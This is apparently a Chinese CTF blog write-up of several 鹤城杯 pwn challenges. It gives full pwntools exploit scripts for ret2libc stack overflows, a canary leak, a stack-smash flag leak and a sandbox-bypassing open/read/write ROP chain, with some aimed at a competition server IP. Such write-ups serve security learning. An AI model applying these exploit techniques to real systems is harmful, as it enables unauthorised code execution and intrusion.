前言 这次鹤城杯的题目友善,适合我这种pwn👶玩耍,但是就是这种幼儿园难度,却没能ak,还是太菜了,继续学习吧!迟早👶要变成👴!
babyof 普通栈溢出,没什么好说的,非常基础的题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import * p=remote("182.116.62.85" ,21613 ) context.log_level='debug' elf=ELF('./babyof' ) libc = ELF('./libc-2.27.so' ) main = 0x40066b puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi = 0x0000000000400743 ret = 0x0000000000400506 payload='a' *0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendafter('Do you know how to do buffer overflow?\n' ,payload) p.recvline() puts = u64(p.recv(6 ).ljust(8 ,'\0' ))print hex (puts) libc_base = puts - libc.sym['puts' ] binsh = libc_base + next (libc.search('/bin/sh' )) system = libc_base + libc.sym['system' ] p.recvuntil('Do you know how to do buffer overflow?\n' ,) payload = 'a' *0x48 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.send(payload) p.recvline() p.interactive()
littleof 这题比上面多了个canary的泄露,其他没什么差别,同样是基础栈溢出题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import * p=remote("182.116.62.85" ,27056 ) context.log_level='debug' elf=ELF('./littleof' ) libc = ELF('./libc-2.27.so' ) main = 0x00000000004006E2 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi = 0x0000000000400863 ret = 0x000000000040059e payload='a' *0x48 p.sendlineafter('Do you know how to do buffer overflow?\n' ,payload) p.recvuntil('a' *0x48 ) canary = u64(p.recv(8 )) - 0xa log.info(hex (canary)) p.recvuntil("Try harder!" ) payload = 'a' *0x48 + p64(canary) + 'a' *8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.send(payload) p.recvline() puts = u64(p.recv(6 ).ljust(8 ,'\0' ))print hex (puts) libc_base = puts - libc.sym['puts' ] binsh = libc_base + next (libc.search('/bin/sh' )) system = libc_base + libc.sym['system' ] p.sendlineafter('Do you know how to do buffer overflow?\n' ,'a' ) p.recvuntil("Try harder!" ) payload = 'a' *0x48 + p64(canary) + 'a' *8 + p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) p.sendline(payload) p.interactive()
easycho 这题是stack smash,程序把flag读到了.bss上,又有地方可以写泄露pie地址,获得pie地址,也就获得了flag地址,之后通过栈溢出把argv[0]改为指向flag,在引发stack_chk_fail后打印出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * p = remote("182.116.62.85" ,24842 ) context(log_level = 'debug' ) p.recvuntil("Name: " ) p.send('a' *0x10 ) p.recvuntil("a" *0x10 ) pie = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0xcf0 flag_addr = 0x0000000000202040 + pie log.info(hex (pie)) p.recvuntil("Input: " ) p.sendline('backdoor' ) p.recvuntil("Input: " ) p.sendline('a' *0x168 + p64(flag_addr)) p.sendlineafter("Input: " ,'exitexit' ) p.interactive()
pwn1 攻防世界有原题https://blog.csdn.net/seaaseesa/article/details/103093182/
onecho 这题比赛没出,好好写写wp
image-20211104101634726
32位,没开Canary以及PIE
image-20211104101940063
文件开了沙箱,禁用了execve,显然orw题目
image-20211104102233428
scanf的参数是用的%s,存在着溢出点
image-20211104163835309
十分要注意的是不能随便破坏memcpy的参数,存放在返回地址后面,所以这边要写入一个可写的地址进去作为memcpy的参数,因为程序没开PIE,所以bss地址是已知的,选择用bss修复参数。做题时就是这个地方卡住了,一下子没想到memcpy的参数被破坏了,但是又要执行完memcpy才能退栈,所以一直到这边程序就中断了。
所以要先在在伪造出参数,但是参数会阻碍rop的连续,所以返回地址需要填上个gadget把该参数去除,继续执行后面的布置函数进行泄露地址
1 payload += p32(read) + p32(pop3_ret) + p32(0 ) + p32(bss) + p32(8 )
跟上面的去除参数影响一样,因为32位参数是在栈上的,为了rop能够执行后面的函数,那么就要让返回地址是一个gadget,并且要能清除栈上填满的三个参数,所以payload才会是这么写的
然后最后rop链读取flag的 read 和 write 只能用plt的,不能直接使用libc地址的,不然就直接中断了,原因不知,没去深究
image-20211104171620117
成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * elf = ELF('./onecho' ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_i386/libc-2.31.so" ) libc = ELF("./libc.so.6" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_i386/ld-2.31.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) context(os='linux' ,arch='i386' ,log_level='info' ) main = 0x0804973F pop_ebx = 0x08049022 pop4_ret = 0x08049810 pop3_ret = 0x08049811 bss = 0x0804C000 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] p.recvuntil("[*] Input your name:\n" ) payload = 'a' *0x110 + p32(pop_ebx) + p32(bss) + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload) puts = u32(p.recv(4 )) success("puts:" + hex (puts)) libc_base = puts - libc.sym["puts" ] success("libc_base:" + hex (libc_base))open = libc_base + libc.sym["open" ] read = elf.plt['read' ] write = elf.plt["write" ] payload = 'a' *0x110 payload += p32(pop_ebx) + p32(bss) payload += p32(read) + p32(pop3_ret) + p32(0 ) + p32(bss) + p32(8 ) payload += p32(open ) + p32(pop3_ret) + p32(bss) + p32(0 ) + p32(0 ) payload += p32(read) + p32(pop3_ret) + p32(3 ) + p32(bss) + p32(0x30 ) payload += p32(write) + p32(pop3_ret) + p32(1 ) + p32(bss) + p32(0x30 ) p.sendlineafter("[*] Input your name:\n" ,payload) p.sendline("./flag\x00" ) p.interactive()
总结 其实题目都挺简单,倒二两题是赛后复现的,说起来都没有很难,但是却能学到挺多东西的,比如倒数第二题,认真学了realloc的作用;倒一呢,更加提醒如果要程序正常一定要保证在真正执行到ret前的每一步都是要没问题的,要认真地结合汇编与gdb单步调试,观察为什么程序就断了,比赛时就没想到,我觉得这不应该,所以这题十分认真地一步步调试、观察,最终复现
另外开心一下,也算是另类“AK”了,虽然他不难,虽然我是赛后补全,哈哈,继续加油吧